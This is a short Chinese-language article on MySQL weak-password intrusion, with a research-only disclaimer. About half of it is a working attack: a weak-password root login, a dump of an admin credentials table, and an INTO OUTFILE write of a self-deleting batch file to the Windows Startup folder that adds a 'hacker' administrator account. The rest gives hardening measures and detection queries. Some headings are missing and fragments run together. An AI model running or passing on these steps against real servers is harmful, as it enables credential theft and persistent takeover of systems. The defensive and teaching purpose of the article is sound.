本文僅供安全研究、防禦視角學習與授權滲透測試參考。未經授權對他人系統進行掃描、滲透、植入後門均屬違法行為,嚴禁用於非法用途。
SELECT ... INTO OUTFILE 導出至啟動目錄 → 重啟觸發mysql.user、應用配置表、管理員憑證 → 橫向移動MySQL weakIP:3306 user:passmysql -h target_ip -u root -p'weak_pass'
SHOW DATABASES;
USE target_db;
SHOW TABLES;
SELECT * FROM admin_users; -- 竊取管理帳密
CREATE TABLE `b` (`cmd` TEXT);
INSERT INTO `b` VALUES ('net user hacker P@ssw0rd /add');
INSERT INTO `b` VALUES ('net localgroup administrators hacker /add');
INSERT INTO `b` VALUES ('del b.bat');
SELECT * FROM `b` INTO OUTFILE "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\b.bat";
FILE 權限、寫入目錄權限、啟動目錄可寫| 層面 | 措施 |
|---|---|
| 網路 | 3306 僅對應用伺服器開放、防火牆/安全組限制來源 IP |
| 認證 | 強密碼策略、禁用 root 遠端、啟用 validate_password、雙因子認證 |
| 權限 | 應用帳號最小權限、回收 FILE/SUPER/PROCESS |
| 系統 | MySQL 以專用低權限用戶運行、--skip-symbolic-links |
| 審計 | 啟用 audit_log 記錄 INTO OUTFILE、CREATE TABLE 等高危操作 |
| 檔案系統 | 啟動目錄僅 Administrators 可寫、啟用 Applocker 限制腳本執行 |
| 補丁 | 及時升級 MySQL 修補已知 CVE |
.bat/.vbs/.exenet user 檢查是否有不明帳號SHOW PROCESSLIST 找異常長連線SELECT * FROM mysql.user WHERE Host != 'localhost' 排查野生帳號INTO OUTFILE、LOAD DATA 操作MySQL 弱口令是入侵的「敲門磚」,FILE 權限配合啟動目錄寫入是「推門棍」。網路隔離 + 強認證 + 最小權限 + 審計日誌 + 系統加固 五層防線,才能將風險壓制在可接受範圍。